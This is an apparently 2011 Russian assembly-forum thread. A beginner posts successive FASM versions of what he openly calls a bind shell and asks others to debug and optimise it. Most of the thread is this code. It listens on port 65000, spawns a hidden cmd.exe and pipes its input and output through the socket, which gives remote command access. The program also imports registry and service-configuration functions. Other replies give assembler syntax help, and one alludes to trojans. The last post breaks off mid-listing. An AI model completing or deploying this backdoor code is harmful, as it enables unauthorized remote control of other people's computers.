Socket

Тема в разделе "WASM.BEGINNERS", создана пользователем fragment, 9 мар 2011.

  1. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Вот начал изучать сетевые сокеты Windows , у меня вопрос больше по синтаксису fasm'a щас , не хочет подцепляца макрос sizeof а мне нада передать размер структуры функции:

    Error: undefined symbol 'sizeof'.
    Instruction: pushd sizeof sock
    хотя макросы в инклюдах подключены


    Код (Text):
    1. format PE GUI 4.0
    2. entry Main
    3.  
    4. include 'win32a.inc'
    5.  
    6. section '.data' data readable writeable
    7.  
    8.         wsadata WSADATA
    9.         sock sockaddr_in
    10.  
    11.         hsocket dd ?
    12.  
    13.         my_socket dw 65535d
    14.  
    15.         ErrorCode db 260 dup(?)
    16.         Fmt db '%x',0
    17.  
    18. section '.code' code readable executable
    19.  
    20. proc Main
    21.  
    22.      invoke     WSAStartup,0202h,wsadata
    23.      invoke     socket, AF_INET,SOCK_STREAM,0
    24.  
    25.      mov        [hsocket],eax
    26.      mov        [sock.sin_family],AF_INET
    27.      mov        [sock.sin_addr],0
    28.      push       [my_socket]
    29.      pop        [sock.sin_port]
    30.  
    31.      invoke     bind,[hsocket],sock,sizeof sock
    32.      invoke     WSACleanup
    33.      invoke     ExitProcess,0
    34.  
    35. endp
    36.  
    37. proc LastError
    38.  
    39.      invoke     GetLastError
    40.      cinvoke    wsprintfA,ErrorCode,Fmt,0
    41.      invoke     MessageBoxA,0,ErrorCode,0,MB_ICONERROR
    42.      ret
    43.  
    44. endp
    45.  
    46. section '.idata' import data readable
    47.  
    48.     library kernel,'KERNEL32.DLL',\
    49.             user,'USER32.DLL',\
    50.             advapi,'ADVAPI32.DLL',\
    51.             Ws2_32,'Ws2_32.dll'
    52.  
    53.     import advapi,\
    54.            RegOpenKeyExA,'RegOpenKeyExA',\
    55.            RegSetValueExA,'RegSetValueExA',\
    56.            RegCloseKey,'RegCloseKey'
    57.  
    58.     import kernel,\
    59.            ExitProcess,'ExitProcess',\
    60.            GetLastError,'GetLastError',\
    61.            lstrlenA,'lstrlenA'
    62.  
    63.     import user,\
    64.            MessageBoxA,'MessageBoxA',\
    65.            wsprintfA,'wsprintfA'
    66.  
    67.         import Ws2_32,\
    68.             WSAStartup,'WSAStartup',\
    69.             socket,'socket',\
    70.             WSACleanup,'WSACleanup'
    Вот на этом месте компилятор пишет ошибку
    invoke bind,[hsocket],sock,sizeof sock
     
  2. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    фасм.пдф, п.3.1.1 Структурес
     
  3. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Все разобралси, спасибо.
     
  4. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    Регистрация:
    3 дек 2010
    Сообщения:
    615
    Ответы на любой из ваших вопросов есть в MSDN и хелпах по компиляторам. Переводите хотябы гуглом
    если с буржуйским совсем туго. Не мое дело конечно,но так и WASM.BEGINNERS скоро не хватит.
     
  5. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Пишу bind shell на fasm. Вот на чем застрял
    не пойму что такое FIONBIO (это один из аргументов функции ioctlsocket) , если это константа то чему она равна или это что-то другое ? И еще как инициализировать локальные переменные на fasm?

    Код (Text):
    1. format PE GUI 4.0
    2. entry Main
    3.  
    4. include 'win32a.inc'
    5.  
    6. SOMAXCONN   =     7fffffffh
    7. INVALID_SOCKET  =     -1h
    8.  
    9. section '.data' data readable writeable
    10.  
    11.  
    12.     wsadata WSADATA
    13.     sock sockaddr_in
    14.  
    15.     hsocket dd ?
    16.     dwMode  dd ?
    17.  
    18.     my_socket dw 65000d
    19.  
    20.     ErrorCode db 260 dup(?)
    21.     Fmt db '%x',0
    22.  
    23.  
    24. section '.code' code readable executable
    25.  
    26. proc Main
    27.     call Shell
    28.     invoke  WSACleanup
    29.     invoke  ExitProcess,0
    30. endp
    31.  
    32. proc BindCmd
    33.      ret
    34. endp
    35.  
    36. proc Shell
    37.  
    38.     invoke  WSAStartup,0202h,wsadata
    39.     invoke  socket,AF_INET,SOCK_STREAM, 0
    40.  
    41.     mov [hsocket],eax
    42.     mov [sock.sin_family],AF_INET
    43.     mov [sock.sin_addr],0
    44.     mov ax,[my_socket]
    45.     xchg    ah,al
    46.     mov [sock.sin_port],ax
    47.  
    48.     invoke  bind,[hsocket],sock,sizeof.sockaddr_in
    49.     mov dwMode,1
    50.     invoke  ioctlsocket,[hsocket],FIONBIO,dwMode
    51.     invoke  listen,[hsocket],SOMAXCONN
    52.     @@:
    53.     invoke  accept,[hsocket],sock,0
    54.  
    55.     cmp eax,INVALID_SOCKET
    56.     je .ret
    57.  
    58.     mov edx,eax
    59.     invoke  CreateThread,0,0,BindCmd,edx,0,0
    60.     invoke  CloseHandle,eax
    61.  
    62. .ret:   invoke  Sleep, 1000
    63.     jmp @B
    64.     ret
    65.  
    66. endp
    67.  
    68.  
    69. proc LastError
    70.  
    71.      invoke GetLastError
    72.      cinvoke    wsprintfA,ErrorCode,Fmt,0
    73.      invoke MessageBoxA,0,ErrorCode,0,MB_ICONERROR
    74.      ret
    75. endp
    76.  
    77. section '.idata' import data readable
    78.  
    79.     library kernel,'KERNEL32.DLL',\
    80.         user,'USER32.DLL',\
    81.         advapi,'ADVAPI32.DLL',\
    82.         Ws2_32,'Ws2_32.dll'
    83.  
    84.     import advapi,\
    85.        RegOpenKeyExA,'RegOpenKeyExA',\
    86.        RegSetValueExA,'RegSetValueExA',\
    87.        RegCloseKey,'RegCloseKey',\
    88.        OpenSCManagerA,'OpenSCManagerA',\
    89.        OpenServiceA,'OpenServiceA',\
    90.        ChangeServiceConfigA,'ChangeServiceConfigA',\
    91.        CloseServiceHandle,'CloseServiceHandle'
    92.  
    93.  
    94.     import kernel,\
    95.        ExitProcess,'ExitProcess',\
    96.        GetLastError,'GetLastError',\
    97.        lstrlenA,'lstrlenA',\
    98.        GetModuleFileNameA,'GetModuleFileNameA',\
    99.        lstrcatA,'lstrcatA',\
    100.        lstrcpyA,'lstrcpyA',\
    101.        CreateThread,'CreateThread',\
    102.        CloseHandle,'CloseHandle',\
    103.        Sleep,'Sleep'
    104.  
    105.     import user,\
    106.        MessageBoxA,'MessageBoxA',\
    107.        wsprintfA,'wsprintfA'
    108.  
    109.     import Ws2_32,\
    110.         WSAStartup,'WSAStartup',\
    111.         socket,'socket',\
    112.         WSACleanup,'WSACleanup',\
    113.         bind,'bind',\
    114.         listen,'listen',\
    115.         accept,'accept'
     
  6. fsd

    fsd New Member

    Публикаций:
    0
    Регистрация:
    4 июл 2010
    Сообщения:
    353
    варианты использования (или):
    - установить sdk и переносить, что нужно на fasm когда требуется
    - выкинуть fasm, установить c и sdk и ничего не переносить
    - пить яд
     
  7. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Ну ёк-макарёк , как инициализировать данные эти на fasm , там пример из хэндла си же , он мне не понятен. Помогите мне пожалуйста каму несложно. И как выделить место под локальный буффер ?
     
  8. GoldFinch

    GoldFinch New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2008
    Сообщения:
    1.775
    и при чем тут сокет?
     
  9. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Пишу по эксемплам , эта функция там есть , могу и написать без неё
     
  10. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    Регистрация:
    3 дек 2010
    Сообщения:
    615
    Ну что же вы так упорно не хотите читать документацию? В пакете MASM32 например есть папочка
    help. Там можно найти и как память выделить и не только.
    Пишите по
    а)Документации
    б)Книгам
    в)Статьям.
    Есть 2 варианта:
    а)Отказаться от копипаста.
    б)Отказаться от программирования(тем более всяких троянов).
    Выбор за вами!
    Выделяйте через VirtualAllocEx.
     
  11. qwe8013

    qwe8013 New Member

    Публикаций:
    0
    Регистрация:
    28 май 2009
    Сообщения:
    198
    fragment
    Код (Text):
    1. proc qweasd
    2. locals
    3. ;локальные переменные
    4. endl
    5.  
    6. ;код
    7.  
    8. endp
     
  12. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Инициализирую локальные переменные но программа отказываеца собираца , пигшет ошибки

    Код (Text):
    1. format PE GUI 4.0
    2. entry Main
    3.  
    4. include 'win32a.inc'
    5.  
    6. SOMAXCONN       =     7fffffffh
    7. INVALID_SOCKET  =     -1h
    8.  
    9. section '.data' data readable writeable
    10.  
    11.         mysocket        dw 65000d
    12.         szCommandLine   db "cmd.exe",0
    13.  
    14.         ErrorCode db 260 dup(?)
    15.         Fmt db '%x',0
    16.  
    17. struct SECURITY_ATTRIBUTES
    18.   nLength                 dd ?
    19.   lpSecurityDescriptor    dd ?
    20.   bInheritHandle          dd ?
    21. ends
    22.         sat SECURITY_ATTRIBUTES
    23.         startupinfo STARTUPINFO
    24.         wsadata WSADATA
    25.         sock sockaddr_in
    26.         processinfo PROCESS_INFORMATION
    27. section '.code' code readable executable
    28.  
    29. proc Main
    30.         call Shell
    31.         invoke  WSACleanup
    32.         invoke  ExitProcess,0
    33. endp
    34.  
    35. proc BindCmd
    36.  locals
    37.   hiRead dd ?
    38.   hoRead dd ?
    39.   hiWrite dd ?
    40.   hoWrite dd ?
    41.  endl
    42.         mov [sat.nLength],sizeof.SECURITY_ATTRIBUTES
    43.         mov [sat.lpSecurityDescriptor],00h
    44.         mov [sat.bInheritHandle],01h
    45.  
    46.         invoke CreatePipe,hiRead,hiWrite,sat,00h
    47.         invoke CreatePipe,hoRead,hoWrite,sat,00h
    48.         invoke GetStartupInfoA,startupinfo
    49.  
    50.         mov [startupinfo.cb],sizeof.STARTUPINFO
    51.         mov eax,[hoWrite]
    52.         mov [startupinfo.hStdOutput],eax
    53.         mov [startupinfo.hStdError],eax
    54.         mov eax,[hiRead]
    55.         mov [startupinfo.hStdInput],eax
    56.         mov [startupinfo.dwFlags],STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
    57.         mov [startupinfo.wShowWindow],SW_HIDE
    58.  
    59.         invoke CreateProcessA,0,szCommandLine,0,0,TRUE,CREATE_NEW_CONSOLE,0,0,startupinfo,processinfo
    60.         invoke CloseHandle,[hoWrite]
    61.         invoke CloseHandle,[hiRead]
    62. endp
    63.  
    64. proc Shell
    65.  locals
    66.   hsocket dd ?
    67.   dwMode  dd ?
    68.  endl
    69.         invoke  WSAStartup,0202h,wsadata
    70.         invoke  socket,AF_INET,SOCK_STREAM, 0
    71.  
    72.         mov     [hsocket],eax
    73.         mov     [sock.sin_family],AF_INET
    74.         mov     [sock.sin_addr],0
    75.         mov     ax,[mysocket]
    76.         xchg    ah,al
    77.         mov     [sock.sin_port],ax
    78.  
    79.         invoke  bind,[hsocket],sock,sizeof.sockaddr_in
    80.         mov     [dwMode],0001h
    81.         invoke  ioctlsocket,[hsocket],1,[dwMode]
    82.         invoke  listen,[hsocket],SOMAXCONN
    83.     @@:
    84.         invoke  accept,[hsocket],sock,0
    85.  
    86.         cmp eax,INVALID_SOCKET
    87.         je .ret
    88.  
    89.         mov     edx,eax
    90.         invoke  CreateThread,0,0,BindCmd,edx,0,0
    91.         invoke  CloseHandle,eax
    92.  
    93. .ret:   invoke  Sleep, 1000
    94.         jmp @B
    95.         ret
    96.  
    97. endp
    98.  
    99.  
    100. proc LastError
    101.  
    102.      invoke     GetLastError
    103.      cinvoke    wsprintfA,ErrorCode,Fmt,0
    104.      invoke     MessageBoxA,0,ErrorCode,0,MB_ICONERROR
    105.      ret
    106. endp
    107.  
    108. section '.idata' import data readable
    109.  
    110.         library kernel,'KERNEL32.DLL',\
    111.             user,'USER32.DLL',\
    112.             advapi,'ADVAPI32.DLL',\
    113.             Ws2_32,'Ws2_32.dll'
    114.  
    115.  
    116.         import advapi,\
    117.            RegOpenKeyExA,'RegOpenKeyExA',\
    118.            RegSetValueExA,'RegSetValueExA',\
    119.            RegCloseKey,'RegCloseKey',\
    120.            OpenSCManagerA,'OpenSCManagerA',\
    121.            OpenServiceA,'OpenServiceA',\
    122.            ChangeServiceConfigA,'ChangeServiceConfigA',\
    123.            CloseServiceHandle,'CloseServiceHandle'
    124.  
    125.  
    126.         import kernel,\
    127.            ExitProcess,'ExitProcess',\
    128.            GetLastError,'GetLastError',\
    129.            lstrlenA,'lstrlenA',\
    130.            GetModuleFileNameA,'GetModuleFileNameA',\
    131.            lstrcatA,'lstrcatA',\
    132.            lstrcpyA,'lstrcpyA',\
    133.            CreateThread,'CreateThread',\
    134.            CloseHandle,'CloseHandle',\
    135.            Sleep,'Sleep',\
    136.            CreatePipe,'CreatePipe',\
    137.            GetStartupInfoA,'GetStartupInfoA',\
    138.            CreateProcessA,'CreateProcessA'
    139.  
    140.  
    141.         import user,\
    142.            MessageBoxA,'MessageBoxA',\
    143.            wsprintfA,'wsprintfA'
    144.  
    145.  
    146.         import Ws2_32,\
    147.             WSAStartup,'WSAStartup',\
    148.             socket,'socket',\
    149.             WSACleanup,'WSACleanup',\
    150.             bind,'bind',\
    151.             listen,'listen',\
    152.             accept,'accept',\
    153.             ioctlsocket,'ioctlsocket'
    [​IMG]
     
  13. paralvic

    paralvic Пархоменко Александр Викторович

    Публикаций:
    0
    Регистрация:
    20 ноя 2010
    Сообщения:
    294
    Адрес:
    Нижний Новгород
    В фасме чтобы получить адресс переменной необходимо написать только имя
    Сам знаешь адрес переменной, когда она локальная, то есть будет лежать где-то в стеке? Нет.
    Компилятор тоже.
    Код (Text):
    1. locals
    2.   hiRead dd ? ; Эти переменные в твоей программе не могут быть локальными.
    3.   hoRead dd ?
    4.   hiWrite dd ?
    5.   hoWrite dd ?
    6.  endl
    7.         mov [sat.nLength],sizeof.SECURITY_ATTRIBUTES
    8.         mov [sat.lpSecurityDescriptor],00h
    9.         mov [sat.bInheritHandle],01h
    10.  
    11.         invoke CreatePipe,hiRead,hiWrite,sat,00h
    12.         invoke CreatePipe,hoRead,hoWrite,sat,00h
     
  14. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Спасибо. А почему моя программа не шлет в сокет приветственное сообщение ?

    Код (Text):
    1. format PE GUI 4.0
    2. entry Main
    3.  
    4. include 'win32a.inc'
    5.  
    6. SOMAXCONN       =     7fffffffh
    7. INVALID_SOCKET  =     -1h
    8.  
    9. section '.data' data readable writeable
    10.  
    11.         hsocket dd ?
    12.         dwMode  dd ?
    13.  
    14.         hiRead dd ?
    15.         hoRead dd ?
    16.  
    17.         hiWrite dd ?
    18.         hoWrite dd ?
    19.  
    20.         mysocket        dw 65000d
    21.         szCommandLine   db 'cmd.exe',0
    22.         szBanner        db 'Welcome fragment!',13,10,0
    23.  
    24.         ErrorCode db 260 dup(?)
    25.         Fmt db '%08Xh',0
    26.  
    27. struct SECURITY_ATTRIBUTES
    28.   nLength                 dd ?
    29.   lpSecurityDescriptor    dd ?
    30.   bInheritHandle          dd ?
    31. ends
    32.         sat SECURITY_ATTRIBUTES
    33.         startupinfo STARTUPINFO
    34.         wsadata WSADATA
    35.         sock sockaddr_in
    36.         processinfo PROCESS_INFORMATION
    37.  
    38. section '.code' code readable executable
    39.  
    40. proc Main
    41.         call Shell
    42.         invoke  WSACleanup
    43.         invoke  ExitProcess,0
    44. endp
    45.  
    46. proc BindCmd
    47.  
    48.         mov [sat.nLength],sizeof.SECURITY_ATTRIBUTES
    49.         mov [sat.lpSecurityDescriptor],00h
    50.         mov [sat.bInheritHandle],01h
    51.  
    52.         invoke CreatePipe,hiRead,hiWrite,sat,00h
    53.         invoke CreatePipe,hoRead,hoWrite,sat,00h
    54.         invoke GetStartupInfoA,startupinfo
    55.  
    56.         mov [startupinfo.cb],sizeof.STARTUPINFO
    57.         mov eax,[hoWrite]
    58.         mov [startupinfo.hStdOutput],eax
    59.         mov [startupinfo.hStdError],eax
    60.         mov eax,[hiRead]
    61.         mov [startupinfo.hStdInput],eax
    62.         mov [startupinfo.dwFlags],STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
    63.         mov [startupinfo.wShowWindow],SW_HIDE
    64.  
    65.         invoke CreateProcessA,0,szCommandLine,0,0,TRUE,CREATE_NEW_CONSOLE,0,0,startupinfo,processinfo
    66.         invoke CloseHandle,[hoWrite]
    67.         invoke CloseHandle,[hiRead]
    68.  
    69.         invoke lstrlenA,szBanner
    70.         invoke send,[hsocket],szBanner,eax,0
    71.         call LastError
    72.         ret
    73. endp
    74.  
    75. proc Shell
    76.  
    77.         invoke  WSAStartup,0202h,wsadata
    78.         invoke  socket,AF_INET,SOCK_STREAM, 0
    79.  
    80.         mov     [hsocket],eax
    81.         mov     [sock.sin_family],AF_INET
    82.         mov     [sock.sin_addr],0
    83.         mov     ax,[mysocket]
    84.         xchg    ah,al
    85.         mov     [sock.sin_port],ax
    86.  
    87.         invoke  bind,[hsocket],sock,sizeof.sockaddr_in
    88.         invoke  listen,[hsocket],SOMAXCONN
    89.     @@:
    90.         invoke  accept,[hsocket],sock,0
    91.  
    92.         cmp eax,INVALID_SOCKET
    93.         je .ret
    94.  
    95.         mov     edx,eax
    96.         invoke  CreateThread,0,0,BindCmd,edx,0,0
    97.         invoke  CloseHandle,eax
    98.  
    99. .ret:   invoke  Sleep, 1000
    100.         jmp @B
    101.         ret
    102.  
    103. endp
    104.  
    105.  
    106. proc LastError
    107.  
    108.      invoke     GetLastError
    109.      cinvoke    wsprintfA,ErrorCode,Fmt,eax
    110.      invoke     MessageBoxA,0,ErrorCode,0,MB_ICONERROR
    111.      ret
    112. endp
    113.  
    114. section '.idata' import data readable
    115.  
    116.         library kernel,'KERNEL32.DLL',\
    117.             user,'USER32.DLL',\
    118.             advapi,'ADVAPI32.DLL',\
    119.             Ws2_32,'Ws2_32.dll'
    120.  
    121.  
    122.         import advapi,\
    123.            RegOpenKeyExA,'RegOpenKeyExA',\
    124.            RegSetValueExA,'RegSetValueExA',\
    125.            RegCloseKey,'RegCloseKey',\
    126.            OpenSCManagerA,'OpenSCManagerA',\
    127.            OpenServiceA,'OpenServiceA',\
    128.            ChangeServiceConfigA,'ChangeServiceConfigA',\
    129.            CloseServiceHandle,'CloseServiceHandle'
    130.  
    131.  
    132.         import kernel,\
    133.            ExitProcess,'ExitProcess',\
    134.            GetLastError,'GetLastError',\
    135.            lstrlenA,'lstrlenA',\
    136.            GetModuleFileNameA,'GetModuleFileNameA',\
    137.            lstrcatA,'lstrcatA',\
    138.            lstrcpyA,'lstrcpyA',\
    139.            CreateThread,'CreateThread',\
    140.            CloseHandle,'CloseHandle',\
    141.            Sleep,'Sleep',\
    142.            CreatePipe,'CreatePipe',\
    143.            GetStartupInfoA,'GetStartupInfoA',\
    144.            CreateProcessA,'CreateProcessA'
    145.  
    146.  
    147.         import user,\
    148.            MessageBoxA,'MessageBoxA',\
    149.            wsprintfA,'wsprintfA'
    150.  
    151.  
    152.         import Ws2_32,\
    153.             WSAStartup,'WSAStartup',\
    154.             socket,'socket',\
    155.             WSACleanup,'WSACleanup',\
    156.             bind,'bind',\
    157.             listen,'listen',\
    158.             accept,'accept',\
    159.             ioctlsocket,'ioctlsocket',\
    160.             send,'send'
    GetLastError возвращает 00002749h

    WSAENOTCONN 10057 (0x2749)

    A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied.
     
  15. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Помогите установить ошибку, я думаю она находится гдето после макроса .while

    Код (Text):
    1. format PE GUI 4.0
    2. entry Main
    3.  
    4. include 'win32ax.inc'
    5.  
    6. SOMAXCONN       =     7fffffffh
    7. INVALID_SOCKET  =     -1h
    8. FIONBIO         =     8004667Eh
    9. STILL_ACTIVE    =     00000103h
    10. SOCKET_ERROR    =     -1
    11. WSAEWOULDBLOCK  =     10035d
    12.  
    13. macro .break
    14. {
    15.     jmp    __ENDW
    16. }
    17.  
    18. macro .continue
    19. {
    20.     jmp    __WHILE
    21. }
    22.  
    23. section '.data' data readable writeable
    24.  
    25.         hsocket dd ?
    26.         iMode   dd ?
    27.         bytes   dd ?
    28.         hiRead  dd ?
    29.         hoRead  dd ?
    30.  
    31.         exitcode dd ?
    32.         buffer   db 1024 dup(?)
    33.         available dd ?
    34.  
    35.         hiWrite dd ?
    36.         hoWrite dd ?
    37.  
    38.         mysocket        dw 65000d
    39.         szCommandLine   db 'cmd.exe',0
    40.         szBanner        db 'Welcome fragment!',13,10,0
    41.  
    42.         ErrorCode db 260 dup(?)
    43.         Fmt db '%08Xh',0
    44.  
    45. struct SECURITY_ATTRIBUTES
    46.   nLength                 dd ?
    47.   lpSecurityDescriptor    dd ?
    48.   bInheritHandle          dd ?
    49. ends
    50.         sat SECURITY_ATTRIBUTES
    51.         startupinfo STARTUPINFO
    52.         wsadata WSADATA
    53.         sock sockaddr_in
    54.         processinfo PROCESS_INFORMATION
    55.  
    56. section '.code' code readable executable
    57.  
    58. proc Main
    59.         call Shell
    60.         invoke  WSACleanup
    61.         invoke  ExitProcess,0
    62. endp
    63.  
    64. proc BindCmd client:dword
    65.  
    66.         mov [sat.nLength],sizeof.SECURITY_ATTRIBUTES
    67.         mov [sat.lpSecurityDescriptor],00h
    68.         mov [sat.bInheritHandle],01h
    69.  
    70.         invoke CreatePipe,hiRead,hiWrite,sat,00h
    71.         invoke CreatePipe,hoRead,hoWrite,sat,00h
    72.         invoke GetStartupInfoA,startupinfo
    73.  
    74.         mov [startupinfo.cb],sizeof.STARTUPINFO
    75.         mov eax,[hoWrite]
    76.         mov [startupinfo.hStdOutput],eax
    77.         mov [startupinfo.hStdError],eax
    78.         mov eax,[hiRead]
    79.         mov [startupinfo.hStdInput],eax
    80.         mov [startupinfo.dwFlags],STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
    81.         mov [startupinfo.wShowWindow],SW_HIDE
    82.  
    83.         invoke CreateProcessA,0,szCommandLine,0,0,TRUE,CREATE_NEW_CONSOLE,0,0,startupinfo,processinfo
    84.         invoke CloseHandle,[hoWrite]
    85.         invoke CloseHandle,[hiRead]
    86.  
    87.         mov     [bytes],1
    88.         invoke  ioctlsocket,[hsocket],FIONBIO,bytes
    89.         invoke  lstrlenA,szBanner
    90.         invoke  send,[client],szBanner,eax,0
    91.  
    92. .while TRUE
    93.        invoke   Sleep,1
    94.        invoke   GetExitCodeProcess,[processinfo.hProcess],exitcode
    95.   .if [exitcode] <> STILL_ACTIVE
    96.     .break
    97.   .endif
    98.   invoke PeekNamedPipe,[hoRead],buffer,1024,bytes,available,0
    99.   .if [bytes] <> 0
    100.     .if [available] > 1024
    101.       .while [bytes] >= 1024
    102.         invoke Sleep,1
    103.         invoke ReadFile,[hoRead],buffer,1024,bytes, 0
    104.         .if [bytes] <> 0
    105.           invoke send,[client],buffer,bytes,0
    106.         .endif
    107.       .endw  
    108.     .else
    109.       invoke ReadFile,[hoRead],buffer,1024,bytes,0
    110.       .if [bytes] <> 0
    111.         invoke send,[client],buffer,bytes,0
    112.       .endif
    113.     .endif    
    114.   .endif  
    115. @@:
    116.   invoke recv,[client],buffer,1024,0
    117.   .if eax = SOCKET_ERROR | eax = 0
    118.     invoke WSAGetLastError
    119.     .if eax = WSAEWOULDBLOCK
    120.       .continue
    121.     .else
    122.       invoke TerminateProcess,[processinfo.hProcess],0
    123.       .break
    124.     .endif  
    125.   .else
    126.     mov edx,eax
    127.     invoke WriteFile,[hiWrite],buffer,edx,bytes, 0
    128.   .endif
    129. .endw
    130.         invoke  CloseHandle,[hiWrite]
    131.         invoke  CloseHandle,[hoRead]
    132.         invoke  closesocket,[client]
    133.         ret
    134.  
    135. endp
    136.  
    137. proc Shell lpParam
    138.  
    139.         invoke  WSAStartup,0202h,wsadata
    140.         invoke  socket,AF_INET,SOCK_STREAM, 0
    141.  
    142.         mov     [hsocket],eax
    143.         mov     [sock.sin_family],AF_INET
    144.         mov     [sock.sin_addr],0
    145.         mov     ax,[mysocket]
    146.         xchg    ah,al
    147.         mov     [sock.sin_port],ax
    148.  
    149.         invoke  bind,[hsocket],sock,sizeof.sockaddr_in
    150.         mov     [iMode],1
    151.         invoke  ioctlsocket,[hsocket],FIONBIO,iMode
    152.         invoke  listen,[hsocket],SOMAXCONN
    153.     @@:
    154.         invoke  accept,[hsocket],sock,0
    155.  
    156.         cmp eax,INVALID_SOCKET
    157.         je .ret
    158.  
    159.         mov     edx,eax
    160.         invoke  CreateThread,0,0,BindCmd,edx,0,0
    161.         invoke  CloseHandle,eax
    162.  
    163. .ret:   invoke  Sleep, 1000
    164.         jmp @B
    165.         ret
    166.  
    167. endp
    168.  
    169. proc LastError
    170.  
    171.      invoke     GetLastError
    172.      cinvoke    wsprintfA,ErrorCode,Fmt,eax
    173.      invoke     MessageBoxA,0,ErrorCode,0,MB_ICONERROR
    174.      ret
    175. endp
    176.  
    177. section '.idata' import data readable
    178.  
    179.         library kernel,'KERNEL32.DLL',\
    180.             user,'USER32.DLL',\
    181.             advapi,'ADVAPI32.DLL',\
    182.             Ws2_32,'Ws2_32.dll'
    183.  
    184.         import advapi,\
    185.            RegOpenKeyExA,'RegOpenKeyExA',\
    186.            RegSetValueExA,'RegSetValueExA',\
    187.            RegCloseKey,'RegCloseKey',\
    188.            OpenSCManagerA,'OpenSCManagerA',\
    189.            OpenServiceA,'OpenServiceA',\
    190.            ChangeServiceConfigA,'ChangeServiceConfigA',\
    191.            CloseServiceHandle,'CloseServiceHandle'
    192.  
    193.         import kernel,\
    194.            ExitProcess,'ExitProcess',\
    195.            GetLastError,'GetLastError',\
    196.            lstrlenA,'lstrlenA',\
    197.            GetModuleFileNameA,'GetModuleFileNameA',\
    198.            lstrcatA,'lstrcatA',\
    199.            lstrcpyA,'lstrcpyA',\
    200.            CreateThread,'CreateThread',\
    201.            CloseHandle,'CloseHandle',\
    202.            Sleep,'Sleep',\
    203.            CreatePipe,'CreatePipe',\
    204.            GetStartupInfoA,'GetStartupInfoA',\
    205.            CreateProcessA,'CreateProcessA',\
    206.            GetExitCodeProcess,'GetExitCodeProcess',\
    207.            PeekNamedPipe,'PeekNamedPipe',\
    208.            ReadFile,'ReadFile',\
    209.            TerminateProcess,'TerminateProcess',\
    210.            WriteFile,'WriteFile'
    211.  
    212.         import user,\
    213.            MessageBoxA,'MessageBoxA',\
    214.            wsprintfA,'wsprintfA'
    215.  
    216.         import Ws2_32,\
    217.             WSAStartup,'WSAStartup',\
    218.             socket,'socket',\
    219.             WSACleanup,'WSACleanup',\
    220.             bind,'bind',\
    221.             listen,'listen',\
    222.             accept,'accept',\
    223.             ioctlsocket,'ioctlsocket',\
    224.             send,'send',\
    225.             recv,'recv',\
    226.             WSAGetLastError,'WSAGetLastError',\
    227.             closesocket,'closesocket'
     
  16. mrcrown

    mrcrown Member

    Публикаций:
    0
    Регистрация:
    18 янв 2008
    Сообщения:
    227
    Во что превратился wasm....[​IMG]
     
  17. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Вот код Bind shell cmd.exe на fasm. Подскажите пожалуйста, с cmd.exe он работает нормально а вот powershell не хочет, почему ? И почему он не завершает процесс когда из выходишь из шелла , можно что нибудь с этим зделать ? Помогите оптимизировать и доработать код пожалуйста.

    Код (Text):
    1. format PE GUI 4.0
    2. entry Main
    3.  
    4. include 'win32ax.inc'
    5.  
    6. SOMAXCONN       =     7fffffffh
    7. INVALID_SOCKET  =     -1h
    8. FIONBIO         =     8004667Eh
    9. STILL_ACTIVE    =     00000103h
    10. SOCKET_ERROR    =     -1
    11. WSAEWOULDBLOCK  =     10035d
    12.  
    13. macro .break
    14. {
    15.     jmp    __ENDW
    16. }
    17.  
    18. macro .continue
    19. {
    20.     jmp    __WHILE
    21. }
    22.  
    23. section '.data' data readable writeable
    24.  
    25.         mysocket        dw 65000d
    26.         szCommandLine   db 'cmd.exe',0
    27.         szBanner        db 'Welcome fragment!',13,10,0
    28.  
    29. struct SECURITY_ATTRIBUTES
    30.   nLength                 dd ?
    31.   lpSecurityDescriptor    dd ?
    32.   bInheritHandle          dd ?
    33. ends
    34.         sat SECURITY_ATTRIBUTES
    35.         startupinfo STARTUPINFO
    36.         wsadata WSADATA
    37.         sock sockaddr_in
    38.         processinfo PROCESS_INFORMATION
    39.  
    40. section '.code' code readable executable
    41.  
    42. proc Main
    43.         call Shell
    44.         invoke  WSACleanup
    45.         invoke  ExitProcess,0
    46. endp
    47.  
    48. proc BindCmd client:dword
    49.  
    50. locals
    51.         bytes   dd ?
    52.         hiRead  dd ?
    53.         hoRead  dd ?
    54.  
    55.         exitcode dd ?
    56.         buffer   db 1024 dup(?)
    57.         available dd ?
    58.  
    59.         hiWrite dd ?
    60.         hoWrite dd ?
    61. endl
    62.  
    63.         mov [sat.nLength],sizeof.SECURITY_ATTRIBUTES
    64.         mov [sat.lpSecurityDescriptor],00h
    65.         mov [sat.bInheritHandle],01h
    66.  
    67.         invoke CreatePipe,addr hiRead,addr hiWrite,sat,00h
    68.         invoke CreatePipe,addr hoRead,addr hoWrite,sat,00h
    69.         invoke GetStartupInfoA,startupinfo
    70.  
    71.         mov [startupinfo.cb],sizeof.STARTUPINFO
    72.         mov eax,[hoWrite]
    73.         mov [startupinfo.hStdOutput],eax
    74.         mov [startupinfo.hStdError],eax
    75.         mov eax,[hiRead]
    76.         mov [startupinfo.hStdInput],eax
    77.         mov [startupinfo.dwFlags],STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES
    78.         mov [startupinfo.wShowWindow],SW_HIDE
    79.  
